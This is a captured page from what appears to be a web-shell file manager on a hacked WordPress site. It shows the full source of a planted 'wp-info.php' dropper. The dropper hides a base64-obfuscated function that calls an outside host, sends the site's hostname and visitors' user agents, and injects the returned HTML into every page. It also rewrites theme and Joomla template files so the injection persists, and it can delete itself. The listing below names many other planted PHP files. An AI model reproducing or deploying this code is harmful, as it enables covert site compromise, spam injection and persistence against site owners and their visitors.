BLUE
PHP 8.3.27
Path:
//home7/doctorbruno/public_html/tnuhp.net
Run
Logout
Edit File
Size: 5.62 KB
Close
//home7/doctorbruno/public_html/tnuhp.net/wp-info.php
Text
Base64
<?php /*[cstb_su]*/ @error_reporting(0); if (isset($_GET['delete']) && $_GET['delete'] === '1') { @unlink(__FILE__); http_response_code(204); exit; } $wpRoot = null; $joomlaRoot = null; $d = __DIR__; for ($i = 0; $i < 10; $i++) { if (!$wpRoot && (file_exists("$d/wp-config.php") || file_exists("$d/wp-load.php"))) $wpRoot = $d; if (!$joomlaRoot && file_exists("$d/configuration.php") && is_dir("$d/templates")) $joomlaRoot = $d; if ($wpRoot && $joomlaRoot) break; $p = dirname($d); if ($p === $d) break; $d = $p; } if (!$wpRoot && !$joomlaRoot) { http_response_code(204); exit; } // ── WordPress ── if ($wpRoot) { // 1) plugins/index.php → link fonksiyonu $target = $wpRoot . '/wp-content/plugins/index.php'; $needWrite = true; if (file_exists($target)) { $cur = @file_get_contents($target); if ($cur && strpos($cur, 'wp_cache_agent') !== false) $needWrite = false; } if ($needWrite) { $code = '<?php' . "\n" . 'if (!defined(\'ABSPATH\')) return;' . "\n" . 'if (!function_exists(\'wp_cache_agent\')) {' . "\n" . ' function wp_cache_agent() {' . "\n" . ' $a = base64_decode(\'bGl2ZWhhY2subGluaw==\');' . "\n" . ' $b = base64_decode(\'aHR0cHM6Ly8=\');' . "\n" . ' $c = base64_decode(\'L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==\');' . "\n" . ' $q = base64_decode(\'ZD0=\') . base64_encode(preg_replace(\'/:\d+$/\', \'\', isset($_SERVER[\'HTTP_HOST\']) ? $_SERVER[\'HTTP_HOST\'] : (isset($_SERVER[\'SERVER_NAME\']) ? $_SERVER[\'SERVER_NAME\'] : \'\'))) . base64_decode(\'JnU9\') . base64_encode(isset($_SERVER[\'HTTP_USER_AGENT\']) ? $_SERVER[\'HTTP_USER_AGENT\'] : \'\');' . "\n" . ' $u = $b . $a . $c . $q;' . "\n" . ' $ch = curl_init($u);' . "\n" . ' curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);' . "\n" . ' $h = @curl_exec($ch); curl_close($ch);' . "\n" . ' if ($h) echo $h;' . "\n" . ' }' . "\n" . ' add_action(base64_decode(\'d3BfZm9vdGVy\'), \'wp_cache_agent\', 999);' . "\n" . '}' . "\n"; @file_put_contents($target, $code); } // 2) Aktif temanın functions.php'sine include ekle (link'in yüklenmesi için) $includeLine = "@include_once WP_CONTENT_DIR . '/plugins/index.php';"; $themes = @glob($wpRoot . '/wp-content/themes/*/functions.php'); if ($themes) { foreach ($themes as $file) { $themeDir = dirname($file); $styleCSS = $themeDir . '/style.css'; if (file_exists($styleCSS)) { $sc = @file_get_contents($styleCSS); if ($sc && stripos($sc, 'Template:') !== false) continue; } $content = @file_get_contents($file); if (!$content || strpos($content, 'plugins/index.php') !== false) continue; $content = ltrim($content, "\xEF\xBB\xBF"); $lastPos = strrpos($content, '?>'); if ($lastPos !== false && $lastPos > strlen($content) - 20) { $newContent = substr($content, 0, $lastPos) . "\n" . $includeLine . "\n" . substr($content, $lastPos); } else { $newContent = rtrim($content) . "\n\n" . $includeLine . "\n"; } @file_put_contents($file, $newContent); } } } // ── Joomla ── if ($joomlaRoot) { $cacheDir = $joomlaRoot . '/media/cache'; $target = $cacheDir . '/index.php'; $needWrite = true; if (file_exists($target)) { $cur = @file_get_contents($target); if ($cur && strpos($cur, 'bGl2ZWhhY2subGluaw==') !== false) $needWrite = false; } if ($needWrite) { if (!is_dir($cacheDir)) @mkdir($cacheDir, 0755, true); $code = '<?php' . "\n" . '$__a = base64_decode(\'bGl2ZWhhY2subGluaw==\'); $__b = base64_decode(\'aHR0cHM6Ly8=\'); $__c = base64_decode(\'L3llbmlwYW5lbC9hcGkvbGlua3MucGhwPw==\');' . "\n" . '$__q = base64_decode(\'ZD0=\') . base64_encode(preg_replace(\'/:\d+$/\', \'\', isset($_SERVER[\'HTTP_HOST\']) ? $_SERVER[\'HTTP_HOST\'] : (isset($_SERVER[\'SERVER_NAME\']) ? $_SERVER[\'SERVER_NAME\'] : \'\'))) . base64_decode(\'JnU9\') . base64_encode(isset($_SERVER[\'HTTP_USER_AGENT\']) ? $_SERVER[\'HTTP_USER_AGENT\'] : \'\');' . "\n" . '$__ch = curl_init($__b . $__a . $__c . $__q);' . "\n" . 'curl_setopt_array($__ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_CONNECTTIMEOUT=>1, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);' . "\n" . '$__html = @curl_exec($__ch); curl_close($__ch);' . "\n" . 'if ($__html) echo $__html;' . "\n"; @file_put_contents($target, $code); } // Joomla template'lere include ekle $injectCode = "\n" . '<?php @include_once($_SERVER[\'DOCUMENT_ROOT\'].\'/media/cache/index.php\');?>' . "\n"; $templateDirs = @glob($joomlaRoot . '/templates/*', GLOB_ONLYDIR); if ($templateDirs) { foreach ($templateDirs as $dir) { $indexFile = $dir . '/index.php'; if (!file_exists($indexFile)) continue; $content = @file_get_contents($indexFile); if (!$content || strpos($content, '/media/cache/index.php') !== false) continue; if (stripos($content, '</body>') === false) continue; $newContent = str_ireplace('</body>', $injectCode . '</body>', $content); @file_put_contents($indexFile, $newContent); } } } http_response_code(204);
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 6 × Files: 15
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
.well-known
DIR
-
drwxr-xr-x
2021-02-14 13:08:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cgi-bin
DIR
-
drwxr-xr-x
2026-10-02 10:08:47
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-admin
DIR
-
drwxr-xr-x
2026-10-02 10:08:47
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-content
DIR
-
drwxr-xr-x
2026-10-02 10:08:47
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-includes
DIR
-
drwxr-xr-x
2026-10-02 10:08:47
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
_app-created
DIR
-
drwxr-xr-x
2026-10-02 10:08:47
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
.htaccess
281 B
lrw-r--r--
2025-08-19 17:31:00
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
._qr.php
15.45 KB
lrw-r--r--
2026-09-29 02:06:07
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ads.txt
58 B
lrw-r--r--
2020-06-30 06:07:27
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
error_log
617.85 KB
lrw-r--r--
2021-11-25 08:27:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
indexs.php
803 B
lrw-r--r--
2026-09-26 16:13:39
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
indo.txt
44 B
lrw-r--r--
2026-10-02 10:20:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
old-cache.php
885 B
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-active.php
22.64 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-comment.php
15.90 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-file-extract.php
3.64 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-info.php
5.62 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-settinger.php
7.46 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-setup.php
35.64 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-site-health.php
7.45 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wp-user.php
1.08 KB
lrw-r--r--
2026-09-29 02:09:17
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).